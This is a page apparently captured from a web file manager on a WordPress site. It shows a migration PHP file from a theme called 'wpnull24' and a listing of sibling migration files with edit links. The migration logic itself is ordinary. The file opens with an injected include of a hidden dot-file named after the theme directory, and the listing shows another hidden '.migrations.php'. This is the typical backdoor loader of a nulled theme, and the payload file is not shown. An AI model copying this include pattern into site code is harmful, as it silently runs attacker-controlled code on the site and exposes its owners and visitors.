PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_3_9 extends US_Migration_Translator { // Content public function translate_content( &$content ) { return $this->_translate_content( $content ); } public function translate_vc_row( &$name, &$params, &$content ) { $changed = FALSE; if ( ! empty( $params['columns_type'] ) ) { if ( $params['columns_type'] == 'small' ) { unset( $params['columns_type'] ); $changed = TRUE; } elseif ( $params['columns_type'] == 'medium' ) { unset( $params['columns_type'] ); $params['gap'] = '20'; $changed = TRUE; } elseif ( $params['columns_type'] == 'large' ) { unset( $params['columns_type'] ); $params['gap'] = '35'; $changed = TRUE; } elseif ( $params['columns_type'] == 'none' ) { $params['columns_type'] = 'boxes'; $changed = TRUE; } } return $changed; } public function translate_vc_row_inner( &$name, &$params, &$content ) { $changed = FALSE; if ( ! empty( $params['columns_type'] ) ) { if ( $params['columns_type'] == 'small' ) { unset( $params['columns_type'] ); $changed = TRUE; } elseif ( $params['columns_type'] == 'medium' ) { unset( $params['columns_type'] ); $params['gap'] = '20'; $changed = TRUE; } elseif ( $params['columns_type'] == 'large' ) { unset( $params['columns_type'] ); $params['gap'] = '35'; $changed = TRUE; } elseif ( $params['columns_type'] == 'none' ) { $params['columns_type'] = 'boxes'; $changed = TRUE; } } return $changed; } public function translate_us_testimonial( &$name, &$params, &$content ) { $existing_testimonials_posts = get_posts( array( 'post_type' => 'us_testimonial', 'posts_per_page' => -1 ) ); $existing_testimonials = array(); foreach ( $existing_testimonials_posts as $testimonials_post ) { $existing_testimonials[$testimonials_post->post_title] = $testimonials_post->post_content; } if ( in_array( $content, $existing_testimonials ) ) { return FALSE; } $testimonial_number = 100; $testimonial_title = 'Testimonial ' . $testimonial_number; while ( isset( $existing_testimonials[$testimonial_title] ) AND $testimonial_number > 0 ) { $testimonial_number--; $testimonial_title = 'Testimonial ' . $testimonial_number; } $testimonials_post_array = array( 'post_type' => 'us_testimonial', 'post_date' => date( 'Y-m-d H:i', time() - ( 101 - $testimonial_number ) * 86400 ), 'post_title' => $testimonial_title, 'post_content' => $content, 'post_status' => 'publish', ); $testimonials_post_id = wp_insert_post( $testimonials_post_array ); if ( ! empty( $params['author'] ) ) { update_post_meta( $testimonials_post_id, 'us_testimonial_author', $params['author'] ); } if ( ! empty( $params['company'] ) ) { update_post_meta( $testimonials_post_id, 'us_testimonial_role', $params['company'] ); } if ( ! empty( $params['link'] ) ) { update_post_meta( $testimonials_post_id, 'us_testimonial_link', $params['link'] ); } if ( ! empty( $params['img'] ) ) { set_post_thumbnail( $testimonials_post_id, $params['img'] ); } return FALSE; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]